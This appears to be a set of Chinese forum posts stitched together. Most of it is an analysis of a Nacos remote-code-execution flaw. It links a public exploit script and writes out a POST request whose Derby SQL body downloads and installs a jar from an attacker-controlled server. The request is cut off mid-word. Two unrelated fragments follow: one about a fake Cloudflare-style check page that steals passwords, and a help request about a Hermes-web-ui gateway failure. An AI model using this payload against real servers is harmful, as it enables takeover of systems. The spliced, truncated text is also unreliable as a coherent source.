刚刚发的文章被删了，还是发一些之前的其他的简单文章吧，刚刚加入大家见谅

个人理解的漏洞原理：本质实际上就是在20年那个未授权的基础上添加了命令执行，但是也导致了该漏洞的利用条件变得比较苛刻，目前测试需要比较多的条件才能进行漏洞利用**
1. 0day作者的poc地址
https://github.com/ayoundzw/nacos-poc/blob/main/exploit.py
2. poc提取
根据作者的poc，其本质上就是两种poc数据包，下面的poc并不一定可以直接使用，下面漏洞分析的时候会解答

利用该poc去服务器地址远程下载payload代码

POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Host: xxx.xxx.xxx.xxx
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 487
Content-Type: multipart/form-data; boundary=75fe833dc591c841a56f8fcfba0d650f

--75fe833dc591c841a56f8fcfba0d650f
Content-Disposition: form-data; name="file"; filename="file"

CALL sqlj.install_jar('http://服务端地址/download', 'NACOS.pbKZBiXL', 0)

        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.pbKZBiXL')

        CREATE FUNCTION S_EXAMPLE_pbKZBiXL( PARAM VARCHAR(2000)) RETURNS VARCHA

网上溜达的时候跳到一个长的很像cloudflare认证的网站，根据它的提示操作了一通，哐哐提示我要输入电脑密码，嘿，我这好奇心一下就上来了，摸到了它的脚本，几次base64解开得到下面这种玩意儿

把它丢给codex


网上溜达的时候还是要小心哦，那个破网站普通人还是很容易中招的

在执行升级Hermes-web-ui后，网关就一直配置失败并且启动时也超时，有没有佬可以看看是什么原因？防火墙也全关了。